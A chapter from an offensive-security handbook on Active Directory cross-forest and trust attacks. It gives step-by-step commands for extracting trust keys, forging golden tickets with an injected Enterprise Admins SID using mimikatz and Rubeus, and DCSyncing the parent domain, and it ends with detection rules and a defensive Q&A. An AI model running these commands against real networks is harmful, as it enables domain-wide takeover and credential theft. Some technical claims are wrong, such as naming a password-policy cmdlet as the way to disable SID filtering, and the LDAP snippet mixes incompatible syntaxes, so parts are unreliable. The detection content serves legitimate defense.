Chapter 155

Cross-Forest and Trust Attacks

Compromising one domain in a forest doesn't always mean all trusted forests fall. Forest trusts, intra-forest child domain trusts, and external trusts each have different security boundaries and different attack paths. This chapter covers trust enumeration, inter-domain referral ticket abuse, trust key extraction and forgery for intra-forest privilege escalation, SID Filtering bypass, and the specific conditions under which forest trust does NOT protect a domain.

Scenario

You've compromised child.corp.local (the engineering domain) and obtained its krbtgt hash. The parent domain is corp.local — separate security boundary within the same forest. Using the child domain's krbtgt and the Enterprise Admins SID of the parent forest, you forge an inter-realm TGT (extra SID injection) that contains the parent domain's Enterprise Admins SID in the SIDHistory field. The parent DC receives this TGT via Kerberos referral, checks the trust key but not the SIDHistory (SID filtering is off by default for intra-forest trusts), and issues you a service ticket granting Enterprise Admin access across the entire forest.

AD Trust Architecture

Trust types and security boundaries: 1. Intra-forest (same forest, different domains): corp.local ←→ child.corp.local Trust type: automatic two-way transitive (parent-child) SID filtering: OFF by default — SIDHistory is honored ⚠ Compromise of child domain → can escalate to parent (SID injection attack) 2. Forest trust (external forest): corp.local ←→ partner.com Trust type: explicit, can be one-way or two-way SID filtering: ON by default (Quarantine enabled) SIDHistory with RIDs from the other forest's domain are STRIPPED Exception: if the admin disables SID filtering (Remove-ADFineGrainedPasswordPolicy) → treat forest boundary as security boundary ONLY if SID filtering is enabled 3. External trust (non-Kerberos, legacy NTLM): corp.local ←→ legacy-nt4.local Not transitive, NTLM-only, SID filtering on 4. Shortcut trust: Direct path between two child domains for performance — same security model as parent-child Trust key: The trust key is a shared secret between the two domains — used to sign inter-realm tickets. Stored as the krbtgt-equivalent for the trust: cn=<trusted_domain>,cn=System,DC=... NT hash and AES256 key — extractable via DCSync (same permissions as krbtgt)

Trust Enumeration

# PowerView: enumerate all trusts from current domain
Get-DomainTrust
Get-DomainTrust -Domain corp.local
# Output: SourceName, TargetName, TrustType, TrustDirection, TrustAttributes

# Check if SID filtering is enabled (TrustAttributes bit 0x4 = FILTER_SIDS = quarantine):
Get-ADTrust -Filter * | Select Name,TrustDirection,TrustAttributes |
  ForEach-Object {
    $filter = $_.TrustAttributes -band 0x4
    [PSCustomObject]@{
      Name = $_.Name
      Direction = $_.TrustDirection
      SIDFilteringEnabled = ($filter -eq 4)
    }
  }

# Map all forest trusts recursively:
Get-DomainTrustMapping
# Reveals the full trust graph — entry points for lateral movement between forests

# LDAP query: enumerate trustedDomain objects directly:
ldap_search_s(ld, "CN=System,DC=corp,DC=local",
              LDAP_SCOPE_ONELEVEL, "(objectClass=trustedDomain)",
              attrs=["trustType","trustAttributes","trustDirection","flatName"], ...)

# Trust attribute flags:
# 0x01 = NON_TRANSITIVE
# 0x04 = FILTER_SIDS (SID filtering / quarantine enabled)
# 0x08 = FOREST_TRANSITIVE
# 0x40 = WITHIN_FOREST (parent-child / same forest)

Inter-Domain Referral and Golden Ticket with Extra SID

Normal cross-domain Kerberos (corp.local user accessing child.corp.local resource): 1. User gets TGT from corp.local KDC 2. Requests TGS for child-domain service: → corp.local KDC returns referral ticket (inter-realm TGT) encrypted with the trust key (shared between corp.local and child.corp.local) 3. User presents inter-realm TGT to child.corp.local KDC 4. child KDC decrypts using trust key, verifies PAC, issues service ticket SIDHistory / Extra SID injection in intra-forest Golden Ticket: Forge a ticket for child.corp.local with: cname: any user extra-sids: [S-1-5-21-PARENT-DOMAIN-519] ← Enterprise Admins of corp.local The inter-realm TGT is signed by child domain's krbtgt (which we have). The parent KDC receives this, checks only the trust key signature. SID filtering is OFF → parent domain includes the extra SID in the PAC. Result: child domain user has Enterprise Admins rights in parent domain. Required: child domain krbtgt hash + parent domain's Enterprise Admin SID

Trust Key Extraction and Forgery

# Step 1: Extract trust key (same method as DCSync, different target)
# The trust key lives as a special object in AD under CN=System

# Mimikatz on child DC:
lsadump::trust /patch
# Output: trust key NT hash and AES256 for each trusted domain

# secretsdump.py targeting the trust account:
secretsdump.py -just-dc-user 'CORP$' corp/childadmin:'Password1!'@childdc.child.corp.local

# Step 2: Forge the inter-realm TGT with extra SID (intra-forest escalation):
kerberos::golden \
    /user:FakeAdmin \
    /domain:child.corp.local \
    /sid:S-1-5-21-CHILD-DOMAIN-SID \
    /sids:S-1-5-21-PARENT-DOMAIN-519 \   # Enterprise Admins SID of corp.local
    /krbtgt:<child_krbtgt_NT_hash> \
    /ptt

# Step 3: Access parent domain resources:
ls \\dc01.corp.local\C$        # should succeed as Enterprise Admin
secretsdump.py -k -no-pass dc01.corp.local   # DCSync the parent domain

# Rubeus equivalent:
Rubeus.exe golden \
    /rc4:<child_krbtgt_hash> \
    /user:FakeAdmin \
    /domain:child.corp.local \
    /sid:S-1-5-21-CHILD-SID \
    /sids:S-1-5-21-PARENT-519 \
    /ptt

SID Filtering — When Forest Trusts Actually Protect

Trust TypeSID Filtering DefaultExtra SID Attack Works?Bypass Condition
Intra-forest parent-childOFF — SIDHistory trustedYes — standard forest takeoverN/A — it works by default
Intra-forest shortcutOFFYesN/A
Forest trust (external forest)ON (quarantine)No — SIDs from other forest strippedIf admin ran: netdom trust /enablesidhistory
External trust (NTLM)ONNoAdmin disable of SID filter
Any trust with Selective AuthON — additionally restricts which users can authNoSelective auth must be disabled

Foreign Group Memberships and Cross-Forest Resource Access

# Even without SID injection, cross-forest trusts expose resources.
# A user in corp.local can be a member of a group in partner.com
# if the partner admin added the foreign principal.
# These memberships are not visible in Get-ADUser within corp.local!

# Enumerate foreign group memberships (from corp.local, looking at partner.com):
Get-DomainForeignGroupMember -Domain partner.com
# Returns: GroupDomain=partner.com, GroupName=..., MemberDomain=corp.local, Member=...

# Foreign principals in local groups (check resource DCs in partner.com):
# NET LOCALGROUP Administrators on remote host shows cross-domain members
# that don't appear in standard corp.local user/group enumeration

# From inside corp.local: find groups in other domains containing corp users:
Get-DomainTrust | ForEach-Object {
    $td = $_.TargetName
    Get-DomainForeignGroupMember -Domain $td 2>$null
}

Detection Engineering

title: Inter-Domain Golden Ticket — Extra SID Contains Enterprise Admins
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    Status: '0x0'
  filter_child:
    ServiceName|endswith: '$'
  # Look for cross-domain TGS requests where the ticket contains
  # extra SIDs from the parent domain (visible in DC logs with full Kerberos auditing)
  condition: selection AND NOT filter_child
level: medium

title: Trust Key DCSync — Replication of Trust Account Object
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    Properties|contains:
      - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'  # DS-Replication-Get-Changes-All
    ObjectName|endswith: '$'   # trust account has $ in name e.g. CORP$
  filter_legit:
    SubjectUserName|endswith: '$'
  condition: selection AND NOT filter_legit
level: critical

-- MDE KQL: Kerberos ticket used in parent domain from child domain account
-- (cross-domain lateral movement indicator)
DeviceLogonEvents
| where LogonType == "Network"
| where Protocol == "Kerberos"
| where AccountDomain !in~ ("corp.local")          -- cross-domain auth
| where ActionType == "LogonSuccess"
| where AccountName !endswith "$"
| project Timestamp, DeviceName, AccountName, AccountDomain,
          RemoteDeviceName, RemoteIP
| order by Timestamp desc

Q&A

What is the concrete security boundary between a parent and child domain in an Active Directory forest, and what would it take to make them actually isolated?

In a standard Active Directory forest, there is no meaningful security boundary between a parent domain and its child domains. The forest itself is the security boundary — not the individual domains within it. This is because of three fundamental design decisions: (1) Automatic bidirectional transitive trust: parent and child domains automatically trust each other, and SID filtering (quarantine) is not applied within a forest. Forged tickets with cross-domain SIDHistory entries are honored. (2) Enterprise Admins and Schema Admins are forest-wide groups that have rights in every domain. A Domain Admin in any child domain can typically escalate to Enterprise Admins by forging a PAC that includes the EA SID (S-1-5-21-rootdomain-519), and the parent domain will honor it. (3) Shared replication and SYSVOL: forest-wide NC partitions (Configuration, Schema) are read by all domains, and SYSVOL is replicated forest-wide, meaning a malicious GPO placed in the forest root can potentially affect child domains.

To achieve genuine isolation between domains within the same forest is architecturally almost impossible within standard AD. The correct approach is to use separate forests with an external trust (with SID filtering and Selective Authentication enabled) if domains genuinely need to be security-isolated. Within a forest, assume that compromise of any domain means the entire forest is at risk — this is the Microsoft-documented design position. Some organizations partially mitigate this by putting "Tier 0" assets (DCs, CA, backup, monitoring) in the root domain and keeping child domains for operations, with explicit controls preventing child domain admins from having paths to Tier 0. But this requires rigorous BloodHound-assisted ACL review maintained continuously, because any new delegation or group membership that crosses the tier boundary re-opens the escalation path.